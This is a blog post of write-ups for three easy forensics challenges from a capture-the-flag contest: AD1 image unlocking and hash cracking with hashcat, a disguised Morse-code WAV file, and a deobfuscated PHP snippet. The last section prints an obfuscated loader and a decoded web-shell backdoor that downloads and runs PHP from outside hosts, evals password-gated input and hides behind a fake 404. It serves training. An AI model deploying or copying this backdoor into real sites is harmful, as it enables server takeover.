Posts P3rf3ctr00t CTF 2024 Forensics Challenges
Post
Cancel

P3rf3ctr00t CTF 2024 Forensics Challenges

Our first-ever Capture The Flag (CTF) competition was a resounding success! 🎉

Designed to challenge participants with real-world cybersecurity scenarios, the event brought together talented individuals eager to test their skills and solve engaging challenges. We’re proud of the enthusiasm, creativity, and teamwork displayed by all participants, and we can’t wait to make the next event even bigger and better! As part of our first-ever CTF competition, I had the privilege of designing some easy Forensics challenges and here are the corresponding writeups.

[ten*2] Challenge:

tenten


Step 1: Unlock the AD1 file

The challenge starts with a password-protected AD1 (AccessData Custom Content Image) file. AD1 files, or AccessData Custom Content Images, are forensic image files created using tools like FTK Imager. These files are commonly used in digital forensics to store a snapshot of a device, folder, or file structure for analysis.

The challenge name was to hint and point you to the password you need to unlock the file in FTK Imager i.e [ten*2] = “tenten”. Using “tenten” as the password, the AD1 file can be successfully unlocked in FTK Imager.

Step 2: Inspecting the AD1 File

ftk

Upon opening the AD1 file in FTK Imager, we discover a text file containing a Base58-encoded string. Decoding this string (using tools like CyberChef, an online Base58 decoder, or a script) reveals XML content that looks like this:

1
2
3
4
5
6
7
8
9
10
<?xml version="1.0" encoding="utf-8" standalone="no"?>
<!DOCTYPE users SYSTEM>
<users max="82">
    <user>
        <loginname>p3rf3ctr00tctf</loginname>
        <password>$6$8FLxcJkWoi9kU6Zw$k4a5ExeU0OAeiSOOzBU9HLf.qChCKPbvvTw07pnzL8tJR8tjNfzlqG7fHUQ91qG5IVs3Nr4rEGlU7LkQcsvah.</password>
        <4cr_encrypt>50 e7 02 4c da 24 1d 0c 44 87 d5 1b 43 fa 47 2c fe 2e 28 fc 68 75 87 04 02 b6 0f e4 7e 74 f3 2c 27 cd 93 06 0f 9e f5 5c e5 03 0b 2d 0d 34 3e 6c 2a b0 58 a1 51 88 77 68 45 3a 7c c8 dd 2c 43 f9 f0 e0 68 60 97 4a b1 16 5e 6a 6c c1 bf d3 1a 00 bf 54 c4 85 d5 d1 a0 3a df 1c 1d 89 5b fe f0 3c 43 55 b5 99 8e 79 7b 39 ec ab 7b 74 91 9b 3e 20 d2 00 1e 74 71 d0 </4cr_encrypt>
    </user>
</users>
<!-- p3rf3ctr00t CTF 2024 -->

Step 3: Analyzing the XML

  • Password Hash: $6$8FLxcJkWoi9kU6Zw$k4a5ExeU0OAeiSOOzBU9HLf.qChCKPbvvTw07pnzL8tJR8tjNfzlqG7fHUQ91qG5IVs3Nr4rEGlU7LkQcsvah.
  • Encrypted RC4 Data: <4cr_encrypt>...</4cr_encrypt> - played around with the name a bit

We crack the password hash using hashcat or John the Ripper. For example, with hashcat:

1
hashcat -a 0 -m 1800 hash.txt /usr/share/wordlists/rockyou.txt --force --status
  • -a 0 (Attack Mode)

Specifies the attack mode. -a 0 means “straight mode,” where the tool directly compares hashes generated from the wordlist to the target hash without applying additional rules or modifications.

  • -m 1800 (Hash Mode)

Indicates the hash type to crack. 1800 corresponds to SHA-512 crypt (Unix). This ensures Hashcat interprets the input hash correctly.

  • --force

Forces Hashcat to run, bypassing warnings about hardware or configurations. (Note: This should be used with caution, as it may lead to instability or performance issues.)

  • --status

Continuously displays the current status of the cracking process, showing progress, estimated time, and other details.

The cracked password: naruto

Step 4: Decoding the RC4 Encrypted Data

Using the cracked password (naruto) as the passphrase, we decode the RC4 encrypted data. This can be done using tools like CyberChef or Python scripts.

flag

The decrypted data reveals the flag.

Message

The Message challenge was designed to test the ability to identify, analyze, and repair file formats. In real-world cybersecurity investigations, data isn’t always presented in its intended format. Files may appear corrupted, mislabeled, or deliberately obfuscated by attackers to evade detection or analysis.

Step 1: Unzipping the File

After downloading the provided challenge file, you notice it’s a .zip archive. Extracting it reveals a single text file:

-> message.txt At first glance, the file appears to be an ordinary text file. Opening it in a text editor, however, shows a jumbled mess of unrecognizable characters. Time to investigate further.

Step 2: Using the file Command

When you run the file command on message.txt, you get an unexpected result:

1
2
file message.txt
message.txt: data

This indicates that the file lacks a standard format. Clearly, there’s more to this “text file” than meets the eye.

Step 3: Examining the Hex Values

Next, you open file in a hex editor (e.g., hexedit, HxD, or any similar tool). Scanning the hex values, you spot something interesting:

1
52 49 ....

This is a magic number that corresponds to the RIFF format, commonly used for .wav audio files. It seems this “text file” is actually an audio file in disguise! With a little bit of googling for file signatures and trying to find what file type the hex magic bytes correspond to, would help reveal that. You can find that in the link here Once all the magic bytes have been reconstructed then we can now rename the file with the .wav file extension to identify correctly.

Step 4: Listening to the Audio

Playing message.wav in an audio player reveals a series of beeping sounds, resembling Morse code. The beeping pattern confirms that the message is encoded in Morse code.

If you can’t play the file directly, tools like sox or audacity can help analyze the audio further. To decode the Morse code, use one of the following methods:

  • Online Decoder: Upload the audio file to an online Morse decoder tool, such as Morse Code World.
  • Spectrogram Analysis: Use a tool like Audacity to convert the audio into a spectrogram, then manually decode the dots and dashes.

Decoding the Morse code yields the following text: morse

1
ZRRG ZR NG GUR BYQ BNX GERR OL GUR EVIREONAX NG ZVQAVTUG CNFF - E00G P0Q3OE34X3E S1AQF GUR U1QQ3A C4GG3EA VA GUR FG4EF

Wait a minute—this doesn’t look like English. What’s going on here? Just relax, it was super easy!!

If you’re familiar with classic ciphers, you’ll recognize that the text is encoded using ROT13. This simple substitution cipher rotates each letter by 13 positions in the alphabet. Time to decode it!

You can decode it using a variety of tools:

  1. Command Line;
    1
    
    echo "ZRRG ZR NG GUR BYQ BNX GERR OL GUR EVIREONAX NG ZVQAVTUG CNFF - E00G P0Q3OE34X3E S1AQF GUR U1QQ3A C4GG3EA VA GUR FG4EF" | tr 'A-Za-z' 'N-ZA-Mn-za-m'
    
  2. Online ROT13 decoders e.g CyberChef

Key Takeaways

This challenge demonstrates the importance of:

  • Investigating beyond surface appearances (file types and formats).
  • Recognizing and working with file signatures (magic numbers).
  • Combining tools and techniques, from hex editors to audio decoders and ciphers, to solve a multi-layered puzzle

Code Mirage

The Code Mirage challenge was a fascinating test of logical reasoning and decoding skills. Let’s break down the code step-by-step, demystify its functionality, and guide you to the solution.

This is the PHP snippet that was the main point of focus to help solving the challenge:

1
2
3
4
5
6
7
8
9
10
11
<?php
$L66Rgr = explode(base64_decode("Pz4="), file_get_contents(__FILE__));
$L6CRgr = array(
    base64_decode("L3gvaQ=="),
    base64_decode("eA=="),
    base64_decode(strrev(str_rot47(base64_decode($L66Rgr[1]))))
);
$L7CRgr = "d6d666e70e43a3aeaec1be01341d9f9d";
preg_replace($L6CRgr[0], serialize(eval($L6CRgr[2])), $L6CRgr[1]);
exit();
?>

Step 1: Analyzing the Code Structure

  • base64_decode("Pz4=") → ?>

The delimiter used in the explode function to separate parts of the file contents.

  • base64_decode("L3gvaQ==") → /x/i

A regular expression pattern.

  • base64_decode("eA==") → x

The input string to be matched and replaced.

  • $L66Rgr[1]: - This is extracted from the file contents after splitting on ?>. It undergoes multiple transformations:
    1
    2
    3
    
    base64_decode($L66Rgr[1])
    Then str_rot47(...)
    And finally strrev(...) (reversal of the string)
    

    Extract the block after the PHP scipt

Create a CyberChef recipie with: Reverse, Rot47, From Base64 and receive the following output:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function GC($a)
{
    $url = sprintf('%s?api=%s&ac=%s&path=%s&t=%s', $a, $_REQUEST['api'], $_REQUEST['ac'], $_REQUEST['path'], $_REQUEST['t']); $code = @file_get_contents($url); if ($code == false) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_USERAGENT, 'll'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 100); curl_setopt($ch, CURLOPT_FRESH_CONNECT, TRUE); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); $code = curl_exec($ch); curl_close($ch); }return $code;}
if (isset($_REQUEST['ac']) && isset($_REQUEST['path']) && isset($_REQUEST['api']) && isset($_REQUEST['t'])) { $code = GC('https://c.-wic5-.com/'); if(!$code){$code = GC('https://c.-oiv3-.com/?flag=r00t{8f93d0a6b7c8d90e4f7a1b9e6c3d4f8e9a2d0f3c5e7b8c6d1f3a5b9c4d2}
');}$need = '<'.'?'.'php'; if (strpos($code, $need) === false) { die('get failed'); } $file_name = tmpfile(); fwrite($file_name, $code); $a = stream_get_meta_data($file_name);$file_path = $a['uri']; $content = @file_get_contents($file_path);if(!$content){$file_path = '.c'; file_put_contents($file_path, $code);}@require($file_path); fclose($file_name);@unlink($file_path);die(); }
if (isset($_REQUEST['d_time'])){ die('{->'.$L7CRgr.'<-}'); }
$pass = false;
if (isset($_COOKIE['pass'])) { if(md5($_COOKIE['pass']) == $L7CRgr) { $pass = true; } } else { if (isset($_POST['pass'])) { if(md5($_POST['pass']) == $L7CRgr) { setcookie("pass", $_POST['pass']); $pass = true; } } }
if (isset($_POST['logout']) && $_POST['logout'] = 1) { setcookie("pass", null); $pass= false; }
if(isset($_REQUEST['pwd163']) && md5($_REQUEST['pwd163']) == $L7CRgr) {
    $a = base64_decode(rawurldecode((urlencode(urldecode($_REQUEST['zzz'])))));
    $need = base64_decode("PD9waHA=");
    if (strpos($a, $need) === false) { $a = $need . PHP_EOL . $a; }
    if (isset($_REQUEST['e'])){ $a = str_replace($need, "", $a); $b = 'e'.base64_decode("dmE=").'l'; $b($a);die(); }
    $file_name = tmpfile(); fwrite($file_name, $a);
    $require_params = stream_get_meta_data($file_name);
    @require($require_params['uri']);
    fclose($file_name);die(); }
if (isset($_REQUEST['auth_key'])){ die($L7CRgr); } if (!$pass) { if(!isset($_REQUEST['520'])) { header("HTTP/1.1 404 Not Found"); die();} echo '<form action="#" method="post"><input type="password" name="pass" > <input type="submit" value="submit"></form>'; die(); }

If you search for the flag using the format “r00t” the flag will be displayed. This was super easy

Until next time nerds!

out

This post is licensed under CC BY 4.0 by the author.